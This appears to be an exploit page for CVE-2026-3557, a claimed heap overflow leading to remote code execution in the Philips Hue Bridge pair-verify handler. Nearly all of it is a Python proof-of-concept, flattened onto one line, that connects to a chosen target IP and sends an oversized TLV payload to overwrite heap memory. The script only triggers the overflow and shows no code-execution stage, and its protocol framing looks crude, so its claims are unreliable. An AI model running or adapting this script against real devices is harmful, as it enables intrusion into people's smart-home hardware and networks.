CVE-2026-3557 Philips Hue Bridge堆缓冲区溢出远程代码执行漏洞

# CVE-2026-3557 PoC - Philips Hue Bridge hap_pair_verify_handler Heap Overflow # This PoC demonstrates the heap buffer overflow in Sub-TLV parsing import socket import struct import sys def create_malicious_tlv(): """Create malicious Sub-TLV data with oversized length field""" # TLV type for pair verify tlv_type = 0x06 # Intentionally oversized length to trigger heap overflow oversized_length = 0x1000 # Malicious payload to overwrite heap metadata payload = b'A' * oversized_length # Construct TLV structure tlv_data = struct.pack('!BH', tlv_type, oversized_length) + payload return tlv_data def send_exploit(target_ip, port=8080): """Send exploit payload to Philips Hue Bridge""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, port)) # HAP pairing verification request request = b'PAIR_VERIFY\x00' request += create_malicious_tlv() sock.send(request) response = sock.recv(4096) sock.close() return response except Exception as e: print(f"Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 print(f"[*] Targeting {target}:{port}") print(f"[*] Sending exploit payload...") result = send_exploit(target, port) if result: print(f"[+] Response received: {result.hex()}")